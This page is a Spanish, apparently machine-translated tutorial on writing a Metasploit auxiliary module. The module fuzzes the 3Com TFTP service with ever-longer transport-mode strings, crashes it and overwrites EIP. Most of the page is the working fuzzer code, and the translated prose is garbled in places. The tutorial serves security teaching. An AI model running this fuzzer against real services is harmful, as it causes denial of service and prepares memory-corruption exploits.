Simple Fuzzer TFTP

De www.metasploit-es.com.ar

Uno de los aspectos más potentes de Metasploit es como fácil esto debe hacer cambios y crear la nueva funcionalidad reutilizando el código existente. Por ejemplo, cuando este código de fuzzer muy simple se manifiesta, usted puede hacer unas modificaciones menores a un módulo de Metasploit existente para crear un módulo fuzzer. Los cambios pasarán longitudes crecientes al valor de modo de transporte al 3Com Servicio de TFTP para el Windows, que resulta en superponer de EIP.


#Metasploit

require 'msf/core'
class Metasploit3 < Msf::Auxiliary
        include Msf::Auxiliary::Scanner
        def initialize
                super(
                        'Name'           => '3Com TFTP Fuzzer',
                        'Version'        => '$Revision: 1 $',
                        'Description'    => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
                        'Author'         => 'Your name here',
                        'License'        => MSF_LICENSE
                )
                register_options( [
                Opt::RPORT(69)
                ], self.class)
        end
        def run_host(ip)
                # Create an unbound UDP socket
                udp_sock = Rex::Socket::Udp.create(
                        'Context'   =>
                                {
                                        'Msf'        => framework,
                                        'MsfExploit' => self,
                                }
                )
                count = 10  # Set an initial count
                while count < 2000  # While the count is under 2000 run
                        evil = "A" * count  # Set a number of "A"s equal to count
                        pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00"  # Define the payload
                        udp_sock.sendto(pkt, ip, datastore['RPORT'])  # Send the packet
                        print_status("Sending: #{evil}")  # Status update
                        resp = udp_sock.get(1)  # Capture the response
                        count += 10  # Increase count by 10, and loop
                end
        end
end


Bastante honrado. Deja lo dirige y ven lo que pasa.


EIP Overwrite.jpg


¡Y tenemos un accidente! El fuzzer trabaja como esperado. Mientras esto puede parecer simple en la superficie, una cosa de considerar es el código reutilizable que esto nos provee. En nuestro ejemplo, la estructura de carga útil fue definida para nosotros, salvándonos tiempo, y permitiéndonos ponerse directamente al fuzzing más bien que investigar el protocolo. Esto es muy potente, y es una ventaja escondida del Framework.


Herramientas personales